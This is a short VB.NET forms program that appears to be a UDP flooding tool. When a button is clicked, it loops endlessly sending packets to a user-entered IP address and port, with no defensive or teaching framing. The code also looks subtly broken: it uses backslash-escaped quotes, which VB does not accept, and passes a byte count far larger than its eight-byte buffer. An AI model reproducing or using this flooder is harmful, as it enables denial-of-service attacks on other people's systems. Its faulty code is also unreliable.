Imports System.Net
Imports System.Text
Imports System.Net.Sockets
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
      
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, TextBox2.Text)
            bytCommand = Encoding.ASCII.GetBytes(\"hjvcfyif\")
            udpClient.Send(bytCommand, 20000)
        Loop
    End Sub
End Class